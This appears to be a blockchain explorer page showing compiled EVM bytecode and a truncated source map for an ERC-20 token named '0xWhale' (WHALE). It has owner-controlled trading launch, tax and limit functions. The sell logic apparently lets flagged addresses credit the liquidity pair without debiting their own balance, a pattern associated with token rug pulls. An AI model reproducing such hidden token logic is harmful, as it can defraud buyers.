7600080fd5b505af115801561137d573d6000803e3d6000fd5b5050600e805460ff60a01b1916905550505050565b60008061139f8385611772565b90508381101561118d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103bf565b600081836114125760405162461bcd60e51b81526004016103bf919061141f565b5060006111028486611798565b600060208083528351808285015260005b8181101561144c57858101830151858201604001528201611430565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461148257600080fd5b50565b6000806040838503121561149857600080fd5b82356114a38161146d565b946020939093013593505050565b6000806000606084860312156114c657600080fd5b83356114d18161146d565b925060208401356114e18161146d565b929592945050506040919091013590565b60006020828403121561150457600080fd5b813561118d8161146d565b6000806040838503121561152257600080fd5b50508035926020909101359150565b6000806040838503121561154457600080fd5b823561154f8161146d565b9150602083013561155f8161146d565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156115f05781600019048211156115d6576115d661159f565b808516156115e357918102915b93841c93908002906115ba565b509250929050565b6000826116075750600161077a565b816116145750600061077a565b816001811461162a576002811461163457611650565b600191505061077a565b60ff8411156116455761164561159f565b50506001821b61077a565b5060208310610133831016604e8410600b8410161715611673575081810a61077a565b61167d83836115b5565b80600019048211156116915761169161159f565b029392505050565b600061118d60ff8416836115f8565b808202811582820484141761077a5761077a61159f565b6000602082840312156116d157600080fd5b815161118d8161146d565b6000806000606084860312156116f157600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561171c57600080fd5b8151801515811461118d57600080fd5b60208082526026908201527f5461782073686f756c64206265206c657373207468616e206f7220657175616c604082015265020746f2031360d41b606082015260800190565b8082018082111561077a5761077a61159f565b8181038181111561077a5761077a61159f565b6000826117b557634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118205784516001600160a01b0316835293830193918301916001016117fb565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220205ab890d7857328ac78c86351db38de61bd53cf2f3d1bb5c9c9a421aebe6be964736f6c63430008130033

Deployed Bytecode

0x60806040526004361061010d5760003560e01c80638da5cb5b11610095578063a9059cbb11610064578063a9059cbb146102ed578063bf474bed1461030d578063da0ebc6214610323578063dd62ed3e14610339578063f8f3c5a91461037f57600080fd5b80638da5cb5b1461026157806395d89b411461028957806398f235fe146102b7578063a08fc5c7146102cd57600080fd5b806323b872dd116100dc57806323b872dd146101c5578063313ce567146101e557806370a0823114610201578063715018a614610237578063751039fc1461024c57600080fd5b806301339c211461011957806306fdde0314610130578063095ea7b31461017257806318160ddd146101a257600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5061012e610395565b005b34801561013c57600080fd5b5060408051808201909152600781526630785768616c6560c81b60208201525b604051610169919061141f565b60405180910390f35b34801561017e57600080fd5b5061019261018d366004611485565b610769565b6040519015158152602001610169565b3480156101ae57600080fd5b506101b7610780565b604051908152602001610169565b3480156101d157600080fd5b506101926101e03660046114b1565b6107a1565b3480156101f157600080fd5b5060405160128152602001610169565b34801561020d57600080fd5b506101b761021c3660046114f2565b6001600160a01b031660009081526003602052604090205490565b34801561024357600080fd5b5061012e610805565b34801561025857600080fd5b5061012e610879565b34801561026d57600080fd5b506000546040516001600160a01b039091168152602001610169565b34801561029557600080fd5b506040805180820190915260058152645748414c4560d81b602082015261015c565b3480156102c357600080fd5b506101b7600b5481565b3480156102d957600080fd5b5061012e6102e836600461150f565b61097a565b3480156102f957600080fd5b50610192610308366004611485565b610a2d565b34801561031957600080fd5b506101b7600c5481565b34801561032f57600080fd5b506101b7600a5481565b34801561034557600080fd5b506101b7610354366004611531565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561038b57600080fd5b506101b760095481565b6000546001600160a01b031633146103c85760405162461bcd60e51b81526004016103bf9061156a565b60405180910390fd5b600e54600160a81b900460ff161561042e5760405162461bcd60e51b8152602060048201526024808201527f6f70656e54726164696e673a2054726164696e6720697320616c72656164792060448201526337b832b760e11b60648201526084016103bf565b600180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561047c9030906104696012600a611699565b61047790633b9aca006116a8565b610a3a565b600160009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104cf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104f391906116bf565b6001600160a01b031663c9c6539630600160009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610555573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061057991906116bf565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156105c6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105ea91906116bf565b600e80546001600160a01b039283166001600160a01b03199091161790556001541663f305d7194730610632816001600160a01b031660009081526003602052604090205490565b6000806106476000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156106af573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906106d491906116dc565b5050600e5460015460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af115801561072d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610751919061170a565b50600e805461ffff60a81b191661010160a81b179055565b6000610776338484610a3a565b5060015b92915050565b600061078e6012600a611699565b61079c90633b9aca006116a8565b905090565b60006107ae848484610b5e565b6107fb843361047785604051806060016040528060288152602001611842602891396001600160a01b038a16600090815260026020908152604080832033845290915290205491906110d1565b5060019392505050565b6000546001600160a01b0316331461082f5760405162461bcd60e51b81526004016103bf9061156a565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108a35760405162461bcd60e51b81526004016103bf9061156a565b6108af6012600a611699565b6108bd90633b9aca006116a8565b6009556108cc6012600a611699565b6108da90633b9aca006116a8565b600a9081557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9061090d90601290611699565b61091b90633b9aca006116a8565b60405190815260200160405180910390a17ffb1fe1002b7550e87616e67793dbb7d3f437a79c2688c372c66dc170dbcb0efd6109596012600a611699565b61096790633b9aca006116a8565b60405190815260200160405180910390a1565b6000546001600160a01b031633146109a45760405162461bcd60e51b81526004016103bf9061156a565b600a8211156109c55760405162461bcd60e51b81526004016103bf9061172c565b600a8111156109e65760405162461bcd60e51b81526004016103bf9061172c565b6007829055600881905560408051838152602081018390527f528d9479e9f9889a87a3c30c7f7ba537e5e59c4c85a37733b16e57c62df61302910160405180910390a15050565b6000610776338484610b5e565b6001600160a01b038316610a9c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103bf565b6001600160a01b038216610afd5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103bf565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610bc25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103bf565b6001600160a01b038216610c245760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103bf565b60008111610c915760405162461bcd60e51b815260206004820152603460248201527f5f7472616e736665723a205472616e7366657220616d6f756e74206d7573742060448201527362652067726561746572207468616e207a65726f60601b60648201526084016103bf565b600080546001600160a01b03858116911614801590610cbe57506000546001600160a01b03848116911614155b15610f8e57600e546001600160a01b038581169116148015610cee57506001546001600160a01b03848116911614155b8015610d1357506001600160a01b03831660009081526004602052604090205460ff16155b15610e2157610d386064610d326007548561110b90919063ffffffff16565b90611194565b9050600954821115610d985760405162461bcd60e51b815260206004820152602360248201527f5f7472616e736665723a204578636565647320746865205f6d617854784c696d60448201526234ba1760e91b60648201526084016103bf565b600a5482610dbb856001600160a01b031660009081526003602052604090205490565b610dc59190611772565b1115610e215760405162461bcd60e51b815260206004820152602560248201527f5f7472616e736665723a204578636565647320746865206d617857616c6c657460448201526429b4bd329760d91b60648201526084016103bf565b600e546001600160a01b038481169116148015610e4757506001600160a01b0384163014155b15610ec7576001600160a01b03841660009081526005602052604090205460ff1615610eaa57610e7782826111d6565b6001600160a01b03841660009081526003602052604081208054909190610e9f908490611772565b909155505050505050565b610ec46064610d326008548561110b90919063ffffffff16565b90505b30600090815260036020526040902054600e54600160a01b900460ff16158015610efe5750600e546001600160a01b038581169116145b8015610f135750600e54600160b01b900460ff165b8015610f205750600b5483115b15610f8c57600c548110610f3e57610f39600c54611218565b610f51565b600b54811115610f5157610f5181611218565b600d546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015610f8a573d6000803e3d6000fd5b505b505b80156110085730600090815260036020526040902054610fae9082611392565b30600081815260036020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610fff9085815260200190565b60405180910390a35b6001600160a01b03841660009081526003602052604090205461102b90836111d6565b6001600160a01b03851660009081526003602052604090205561107061105183836111d6565b6001600160a01b03851660009081526003602052604090205490611392565b6001600160a01b0380851660008181526003602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6110ba85856111d6565b60405190815260200160405180910390a350505050565b600081848411156110f55760405162461bcd60e51b81526004016103bf919061141f565b5060006111028486611785565b95945050505050565b60008260000361111d5750600061077a565b600061112983856116a8565b9050826111368583611798565b1461118d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103bf565b9392505050565b600061118d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113f1565b600061118d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110d1565b600e805460ff60a01b1916600160a01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110611260576112606117ba565b6001600160a01b03928316602091820292909201810191909152600154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156112b9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112dd91906116bf565b816001815181106112f0576112f06117ba565b6001600160a01b0392831660209182029290920101526001546113169130911684610a3a565b60015460405163791ac94760e01b81526001600160a01b039091169063791ac9479061134f9085906000908690309042906004016117d0565b600060405180830381600087803b15801561136957600080fd5b505af115801561137d573d6000803e3d6000fd5b5050600e805460ff60a01b1916905550505050565b60008061139f8385611772565b90508381101561118d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103bf565b600081836114125760405162461bcd60e51b81526004016103bf919061141f565b5060006111028486611798565b600060208083528351808285015260005b8181101561144c57858101830151858201604001528201611430565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461148257600080fd5b50565b6000806040838503121561149857600080fd5b82356114a38161146d565b946020939093013593505050565b6000806000606084860312156114c657600080fd5b83356114d18161146d565b925060208401356114e18161146d565b929592945050506040919091013590565b60006020828403121561150457600080fd5b813561118d8161146d565b6000806040838503121561152257600080fd5b50508035926020909101359150565b6000806040838503121561154457600080fd5b823561154f8161146d565b9150602083013561155f8161146d565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156115f05781600019048211156115d6576115d661159f565b808516156115e357918102915b93841c93908002906115ba565b509250929050565b6000826116075750600161077a565b816116145750600061077a565b816001811461162a576002811461163457611650565b600191505061077a565b60ff8411156116455761164561159f565b50506001821b61077a565b5060208310610133831016604e8410600b8410161715611673575081810a61077a565b61167d83836115b5565b80600019048211156116915761169161159f565b029392505050565b600061118d60ff8416836115f8565b808202811582820484141761077a5761077a61159f565b6000602082840312156116d157600080fd5b815161118d8161146d565b6000806000606084860312156116f157600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561171c57600080fd5b8151801515811461118d57600080fd5b60208082526026908201527f5461782073686f756c64206265206c657373207468616e206f7220657175616c604082015265020746f2031360d41b606082015260800190565b8082018082111561077a5761077a61159f565b8181038181111561077a5761077a61159f565b6000826117b557634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118205784516001600160a01b0316835293830193918301916001016117fb565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220205ab890d7857328ac78c86351db38de61bd53cf2f3d1bb5c9c9a421aebe6be964736f6c63430008130033

Deployed Bytecode Sourcemap

9871:10946:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;19561:1103;;;;;;;;;;;;;:::i;:::-;;11825:83;;;;;;;;;;-1:-1:-1;11895:5:0;;;;;;;;;;;;-1:-1:-1;;;11895:5:0;;;;11825:83;;;;;;;:::i;:::-;;;;;;;;14029:161;;;;;;;;;;-1:-1:-1;14029:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;14029:161:0;1023:187:1;12424:100:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;12424:100:0;1215:177:1;14549:313:0;;;;;;;;;;-1:-1:-1;14549:313:0;;;;;:::i;:::-;;:::i;12232:83::-;;;;;;;;;;-1:-1:-1;12232:83:0;;10150:2;2000:36:1;;1988:2;1973:18;12232:83:0;1858:184:1;12720:119:0;;;;;;;;;;-1:-1:-1;12720:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;12813:18:0;12786:7;12813:18;;;:9;:18;;;;;;;12720:119;7142:148;;;;;;;;;;;;;:::i;19326:227::-;;;;;;;;;;;;;:::i;6592:79::-;;;;;;;;;;-1:-1:-1;6630:7:0;6657:6;6592:79;;-1:-1:-1;;;;;6657:6:0;;;2445:51:1;;2433:2;2418:18;6592:79:0;2299:203:1;12018:87:0;;;;;;;;;;-1:-1:-1;12090:7:0;;;;;;;;;;;;-1:-1:-1;;;12090:7:0;;;;12018:87;;10738:61;;;;;;;;;;;;;;;;18754:336;;;;;;;;;;-1:-1:-1;18754:336:0;;;;;:::i;:::-;;:::i;13121:167::-;;;;;;;;;;-1:-1:-1;13121:167:0;;;;;:::i;:::-;;:::i;10806:58::-;;;;;;;;;;;;;;;;10674:57;;;;;;;;;;;;;;;;13579:143;;;;;;;;;;-1:-1:-1;13579:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;13687:18:0;;;13660:7;13687:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;13579:143;10614:53;;;;;;;;;;;;;;;;19561:1103;6804:6;;-1:-1:-1;;;;;6804:6:0;571:10;6804:22;6796:67;;;;-1:-1:-1;;;6796:67:0;;;;;;;:::i;:::-;;;;;;;;;19622:14:::1;::::0;-1:-1:-1;;;19622:14:0;::::1;;;19621:15;19613:64;;;::::0;-1:-1:-1;;;19613:64:0;;3716:2:1;19613:64:0::1;::::0;::::1;3698:21:1::0;3755:2;3735:18;;;3728:30;3794:34;3774:18;;;3767:62;-1:-1:-1;;;3845:18:1;;;3838:34;3889:19;;19613:64:0::1;3514:400:1::0;19613:64:0::1;19732:15;:104:::0;;-1:-1:-1;;;;;;19732:104:0::1;19783:42;19732:104:::0;;::::1;::::0;;;19919:63:::1;::::0;19936:4:::1;::::0;10212:13:::1;10150:2;10212;:13;:::i;:::-;10199:26;::::0;:10:::1;:26;:::i;:::-;19919:8;:63::i;:::-;20065:15;;;;;;;;;-1:-1:-1::0;;;;;20065:15:0::1;-1:-1:-1::0;;;;;20065:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;20047:55:0::1;;20111:4;20118:15;;;;;;;;;-1:-1:-1::0;;;;;20118:15:0::1;-1:-1:-1::0;;;;;20118:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;20047:94;::::0;-1:-1:-1;;;;;;20047:94:0::1;::::0;;;;;;-1:-1:-1;;;;;6093:15:1;;;20047:94:0::1;::::0;::::1;6075:34:1::0;6145:15;;6125:18;;;6118:43;6010:18;;20047:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;20031:13;:110:::0;;-1:-1:-1;;;;;20031:110:0;;::::1;-1:-1:-1::0;;;;;;20031:110:0;;::::1;;::::0;;;20200:15;::::1;:31;20253:21;20308:4;20328:24;20308:4:::0;-1:-1:-1;;;;;12813:18:0;12786:7;12813:18;;;:9;:18;;;;;;;12720:119;20328:24:::1;20367:1;20383::::0;20399:7:::1;6630::::0;6657:6;-1:-1:-1;;;;;6657:6:0;;6592:79;20399:7:::1;20200:247;::::0;::::1;::::0;;;-1:-1:-1;;;;;;20200:247:0;;;-1:-1:-1;;;;;6531:15:1;;;20200:247:0::1;::::0;::::1;6513:34:1::0;6563:18;;;6556:34;;;;6606:18;;;6599:34;;;;6649:18;;;6642:34;6713:15;;;6692:19;;;6685:44;20421:15:0::1;6745:19:1::0;;;6738:35;6447:19;;20200:247:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;20529:13:0::1;::::0;;20560:15;20522:71:::1;::::0;-1:-1:-1;;;20522:71:0;;-1:-1:-1;;;;;20560:15:0;;::::1;20522:71;::::0;::::1;7269:51:1::0;-1:-1:-1;;7336:18:1;;;7329:34;20529:13:0;::::1;::::0;-1:-1:-1;20522:29:0::1;::::0;7242:18:1;;20522:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;20606:11:0::1;:18:::0;;-1:-1:-1;;;;20635:21:0;-1:-1:-1;;;20635:21:0;;;19561:1103::o;14029:161::-;14104:4;14121:39;571:10;14144:7;14153:6;14121:8;:39::i;:::-;-1:-1:-1;14178:4:0;14029:161;;;;;:::o;12424:100::-;12477:7;10212:13;10150:2;10212;:13;:::i;:::-;10199:26;;:10;:26;:::i;:::-;12497:19;;12424:100;:::o;14549:313::-;14647:4;14664:36;14674:6;14682:9;14693:6;14664:9;:36::i;:::-;14711:121;14720:6;571:10;14742:89;14780:6;14742:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;14742:19:0;;;;;;:11;:19;;;;;;;;571:10;14742:33;;;;;;;;;;:37;:89::i;14711:121::-;-1:-1:-1;14850:4:0;14549:313;;;;;:::o;7142:148::-;6804:6;;-1:-1:-1;;;;;6804:6:0;571:10;6804:22;6796:67;;;;-1:-1:-1;;;6796:67:0;;;;;;;:::i;:::-;7249:1:::1;7233:6:::0;;7212:40:::1;::::0;-1:-1:-1;;;;;7233:6:0;;::::1;::::0;7212:40:::1;::::0;7249:1;;7212:40:::1;7280:1;7263:19:::0;;-1:-1:-1;;;;;;7263:19:0::1;::::0;;7142:148::o;19326:227::-;6804:6;;-1:-1:-1;;;;;6804:6:0;571:10;6804:22;6796:67;;;;-1:-1:-1;;;6796:67:0;;;;;;;:::i;:::-;10212:13:::1;10150:2;10212;:13;:::i;:::-;10199:26;::::0;:10:::1;:26;:::i;:::-;19380:11;:26:::0;10212:13:::1;10150:2;10212;:13;:::i;:::-;10199:26;::::0;:10:::1;:26;:::i;:::-;19417:15;:30:::0;;;19463:32:::1;::::0;10212:13:::1;::::0;10150:2:::1;::::0;10212:13:::1;:::i;:::-;10199:26;::::0;:10:::1;:26;:::i;:::-;19463:32;::::0;1361:25:1;;;1349:2;1334:18;19463:32:0::1;;;;;;;19511:34;10212:13;10150:2;10212;:13;:::i;:::-;10199:26;::::0;:10:::1;:26;:::i;:::-;19511:34;::::0;1361:25:1;;;1349:2;1334:18;19511:34:0::1;;;;;;;19326:227::o:0;18754:336::-;6804:6;;-1:-1:-1;;;;;6804:6:0;571:10;6804:22;6796:67;;;;-1:-1:-1;;;6796:67:0;;;;;;;:::i;:::-;18858:2:::1;18847:7;:13;;18839:64;;;;-1:-1:-1::0;;;18839:64:0::1;;;;;;;:::i;:::-;18934:2;18922:8;:14;;18914:65;;;;-1:-1:-1::0;;;18914:65:0::1;;;;;;;:::i;:::-;18990:7;:17:::0;;;19018:8:::1;:19:::0;;;19053:29:::1;::::0;;8237:25:1;;;8293:2;8278:18;;8271:34;;;19053:29:0::1;::::0;8210:18:1;19053:29:0::1;;;;;;;18754:336:::0;;:::o;13121:167::-;13199:4;13216:42;571:10;13240:9;13251:6;13216:9;:42::i;15169:335::-;-1:-1:-1;;;;;15262:19:0;;15254:68;;;;-1:-1:-1;;;15254:68:0;;8518:2:1;15254:68:0;;;8500:21:1;8557:2;8537:18;;;8530:30;8596:34;8576:18;;;8569:62;-1:-1:-1;;;8647:18:1;;;8640:34;8691:19;;15254:68:0;8316:400:1;15254:68:0;-1:-1:-1;;;;;15341:21:0;;15333:68;;;;-1:-1:-1;;;15333:68:0;;8923:2:1;15333:68:0;;;8905:21:1;8962:2;8942:18;;;8935:30;9001:34;8981:18;;;8974:62;-1:-1:-1;;;9052:18:1;;;9045:32;9094:19;;15333:68:0;8721:398:1;15333:68:0;-1:-1:-1;;;;;15412:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;15464:32;;1361:25:1;;;15464:32:0;;1334:18:1;15464:32:0;;;;;;;15169:335;;;:::o;15782:2343::-;-1:-1:-1;;;;;15870:18:0;;15862:68;;;;-1:-1:-1;;;15862:68:0;;9326:2:1;15862:68:0;;;9308:21:1;9365:2;9345:18;;;9338:30;9404:34;9384:18;;;9377:62;-1:-1:-1;;;9455:18:1;;;9448:35;9500:19;;15862:68:0;9124:401:1;15862:68:0;-1:-1:-1;;;;;15949:16:0;;15941:64;;;;-1:-1:-1;;;15941:64:0;;9732:2:1;15941:64:0;;;9714:21:1;9771:2;9751:18;;;9744:30;9810:34;9790:18;;;9783:62;-1:-1:-1;;;9861:18:1;;;9854:33;9904:19;;15941:64:0;9530:399:1;15941:64:0;16033:1;16024:6;:10;16016:75;;;;-1:-1:-1;;;16016:75:0;;10136:2:1;16016:75:0;;;10118:21:1;10175:2;10155:18;;;10148:30;10214:34;10194:18;;;10187:62;-1:-1:-1;;;10265:18:1;;;10258:50;10325:19;;16016:75:0;9934:416:1;16016:75:0;16104:17;6657:6;;-1:-1:-1;;;;;16231:15:0;;;6657:6;;16231:15;;;;:32;;-1:-1:-1;6630:7:0;6657:6;-1:-1:-1;;;;;16250:13:0;;;6657:6;;16250:13;;16231:32;16227:1406;;;16379:13;;-1:-1:-1;;;;;16371:21:0;;;16379:13;;16371:21;:55;;;;-1:-1:-1;16410:15:0;;-1:-1:-1;;;;;16396:30:0;;;16410:15;;16396:30;;16371:55;:75;;;;-1:-1:-1;;;;;;16431:15:0;;;;;;:11;:15;;;;;;;;16430:16;16371:75;16367:354;;;16479:28;16503:3;16479:19;16490:7;;16479:6;:10;;:19;;;;:::i;:::-;:23;;:28::i;:::-;16467:40;;16544:11;;16534:6;:21;;16526:69;;;;-1:-1:-1;;;16526:69:0;;10557:2:1;16526:69:0;;;10539:21:1;10596:2;10576:18;;;10569:30;10635:34;10615:18;;;10608:62;-1:-1:-1;;;10686:18:1;;;10679:33;10729:19;;16526:69:0;10355:399:1;16526:69:0;16648:15;;16638:6;16622:13;16632:2;-1:-1:-1;;;;;12813:18:0;12786:7;12813:18;;;:9;:18;;;;;;;12720:119;16622:13;:22;;;;:::i;:::-;:41;;16614:91;;;;-1:-1:-1;;;16614:91:0;;11091:2:1;16614:91:0;;;11073:21:1;11130:2;11110:18;;;11103:30;11169:34;11149:18;;;11142:62;-1:-1:-1;;;11220:18:1;;;11213:35;11265:19;;16614:91:0;10889:401:1;16614:91:0;16833:13;;-1:-1:-1;;;;;16827:19:0;;;16833:13;;16827:19;:44;;;;-1:-1:-1;;;;;;16850:21:0;;16866:4;16850:21;;16827:44;16823:216;;;-1:-1:-1;;;;;16895:17:0;;;;;;:11;:17;;;;;;;;16892:72;;;16933:21;:6;16944:9;16933:10;:21::i;:::-;-1:-1:-1;;;;;16916:13:0;;;;;;:9;:13;;;;;:38;;:13;;;:38;;;;;:::i;:::-;;;;-1:-1:-1;;;;;;15782:2343:0:o;16892:72::-;16994:29;17019:3;16994:20;17005:8;;16994:6;:10;;:20;;;;:::i;:29::-;16982:41;;16823:216;17168:4;17119:28;12813:18;;;:9;:18;;;;;;17194:6;;-1:-1:-1;;;17194:6:0;;;;17193:7;:30;;;;-1:-1:-1;17210:13:0;;-1:-1:-1;;;;;17204:19:0;;;17210:13;;17204:19;17193:30;:45;;;;-1:-1:-1;17227:11:0;;-1:-1:-1;;;17227:11:0;;;;17193:45;:75;;;;;17251:17;;17242:6;:26;17193:75;17189:433;;;17317:17;;17293:20;:41;17289:257;;17359:35;17376:17;;17359:16;:35::i;:::-;17289:257;;;17446:17;;17423:20;:40;17420:126;;;17488:38;17505:20;17488:16;:38::i;:::-;17564:10;;:42;;-1:-1:-1;;;;;17564:10:0;;;;17584:21;17564:42;;;;;:10;:42;:10;:42;17584:21;17564:10;:42;;;;;;;;;;;;;;;;;;;;;17189:433;16265:1368;16227:1406;17720:13;;17716:172;;17795:4;17777:24;;;;:9;:24;;;;;;:39;;17806:9;17777:28;:39::i;:::-;17768:4;17750:24;;;;:9;:24;;;;;;;:66;;;;17836:40;;-1:-1:-1;;;;;17836:40:0;;;;;;;17866:9;1361:25:1;;1349:2;1334:18;;1215:177;17836:40:0;;;;;;;;17716:172;-1:-1:-1;;;;;17966:15:0;;;;;;:9;:15;;;;;;:27;;17986:6;17966:19;:27::i;:::-;-1:-1:-1;;;;;17948:15:0;;;;;;:9;:15;;;;;:45;18020:40;18038:21;:6;18049:9;18038:10;:21::i;:::-;-1:-1:-1;;;;;18020:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;18004:13:0;;;;;;;:9;:13;;;;;:56;;;;18076:41;;;18095:21;:6;18106:9;18095:10;:21::i;:::-;18076:41;;1361:25:1;;;1349:2;1334:18;18076:41:0;;;;;;;15851:2274;15782:2343;;;:::o;4491:190::-;4577:7;4613:12;4605:6;;;;4597:29;;;;-1:-1:-1;;;4597:29:0;;;;;;;;:::i;:::-;-1:-1:-1;4637:9:0;4649:5;4653:1;4649;:5;:::i;:::-;4637:17;4491:190;-1:-1:-1;;;;;4491:190:0:o;4921:246::-;4979:7;5003:1;5008;5003:6;4999:47;;-1:-1:-1;5033:1:0;5026:8;;4999:47;5056:9;5068:5;5072:1;5068;:5;:::i;:::-;5056:17;-1:-1:-1;5101:1:0;5092:5;5096:1;5056:17;5092:5;:::i;:::-;:10;5084:56;;;;-1:-1:-1;;;5084:56:0;;11852:2:1;5084:56:0;;;11834:21:1;11891:2;11871:18;;;11864:30;11930:34;11910:18;;;11903:62;-1:-1:-1;;;11981:18:1;;;11974:31;12022:19;;5084:56:0;11650:397:1;5084:56:0;5158:1;4921:246;-1:-1:-1;;;4921:246:0:o;5373:132::-;5431:7;5458:39;5462:1;5465;5458:39;;;;;;;;;;;;;;;;;:3;:39::i;4016:136::-;4074:7;4101:43;4105:1;4108;4101:43;;;;;;;;;;;;;;;;;:3;:43::i;18263:483::-;11317:6;:13;;-1:-1:-1;;;;11317:13:0;-1:-1:-1;;;11317:13:0;;;18365:16:::1;::::0;;18379:1:::1;18365:16:::0;;;;;::::1;::::0;;-1:-1:-1;;18365:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;18365:16:0::1;18341:40;;18410:4;18392;18397:1;18392:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;18392:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;18436:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;18436:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;18392:7;;18436:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;18426:4;18431:1;18426:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;18426:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;18501:15:::1;::::0;18469:62:::1;::::0;18486:4:::1;::::0;18501:15:::1;18519:11:::0;18469:8:::1;:62::i;:::-;18542:15;::::0;:196:::1;::::0;-1:-1:-1;;;18542:196:0;;-1:-1:-1;;;;;18542:15:0;;::::1;::::0;:66:::1;::::0